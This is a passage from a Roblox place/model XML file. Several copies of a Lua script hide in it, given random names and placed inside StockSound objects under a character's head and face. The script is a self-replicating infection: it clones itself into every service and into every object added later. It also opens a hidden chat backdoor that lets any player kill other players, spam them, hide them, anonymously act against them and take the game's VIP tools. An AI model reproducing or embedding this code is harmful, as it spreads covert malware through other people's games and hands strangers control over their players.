msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX666">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX667</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX667">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-176</X>
								<Y>12.1999998</Y>
								<Z>-7.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX668">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX669">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">vfxqmcv</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX670">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">2sk5087t</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX671">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX672">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">qi5h</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX673">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">499wojk4</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
